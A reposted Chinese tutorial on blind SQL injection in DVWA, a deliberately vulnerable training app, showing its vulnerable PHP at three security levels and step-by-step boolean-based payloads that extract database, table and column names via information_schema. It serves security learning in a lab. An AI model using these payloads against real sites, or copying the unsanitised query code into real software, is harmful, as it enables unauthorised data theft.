DVWA-sql注入(盲注)


DVWA簡介

DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。

DVWA共有十個模塊,分別是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站請求偽造)、File Inclusion(文件包含)、File Upload(文件上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站腳本)、XSS(Stored)(存儲型跨站腳本)。

需要注意的是,DVWA 1.9的代碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的代碼,接觸到一些PHP代碼審計的內容。

 

SQL Injection(Blind)

SQL Injection(Blind),即SQL盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。

 

手工盲注思路

手工盲注的過程,就像你與一個機器人聊天,這個機器人知道的很多,但只會回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是a啊?”,通過這種機械的詢問,最終獲得你想要的數據。

盲注分為基於布爾的盲注、基於時間的盲注以及基於報錯的盲注,這里由於實驗環境的限制,只演示基於布爾的盲注與基於時間的盲注。

下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較,在之前的鏈接寫過):

1.判斷是否存在注入,注入是字符型還是數字型

2.猜解當前數據庫名

3.猜解數據庫中的表名

4.猜解表中的字段名

5.猜解數據

 

LOW:

代碼:

 

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

 

可以看到,Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種,

User ID exists in the database. 

‘與‘

`User ID is MISSING from the database.` 

,因此這里是SQL盲注漏洞。

 

 

注入方法一:布爾盲注

輸入1’ and 1=1 #,顯示存在:

 

輸入1’ and 1=2 #,顯示不存在:

 

 

 存在字符型的盲注。

然后猜解數據庫名:輸入1’ and length(database())=4 #,顯示存在:說明長度為4

 

 

 

然后采用二分法猜解數據庫的名字,可以用if函數,這里用的ASCII值,道理都是一樣的:

1’ and ascii(substr(databse(),1,1))=100 #

 

 

 第一個字母的ASCII值是100,也就是d,以此類推得出數據庫名是dvwa。

 

 

之后猜解表名:

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

 

 

 說明有兩個表。

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 

顯示存在,說明第一個表的長度是9.

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

顯示存在,說明第一個字母是g。

再重復步驟猜解,即可猜解出兩個表名(guestbook、users)。

 

 

然后猜解字段名:

猜解數量:1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

顯示存在,說明一共8個字段。

然后再利用2分法猜解字段名和字段中數據。

 

除了2分法,還有其他的盲注方法,比如延時注入,在之前的sqli-labs有介紹,在這不多說。

 

MEDIUM:

代碼:

 

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?> 

 

 

 

 

 

可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號

 

\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

這種情況就和顯注教程類似,通過抓包修改id的值進行注入,在這不再演示。

 

high:

代碼:

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

 

漏洞利用:

雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。但由於服務器端執行sleep函數,會使得基於時間盲注的准確性受到影響,這里我們只演示基於布爾的盲注:

抓包將cookie中參數id改為1’ and length(database())=4 #,顯示存在,說明數據庫名的長度為4個字符;

抓包將cookie中參數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度為9個字符;

抓包將cookie中參數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進制),顯示存在,說明uers表有8個字段。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM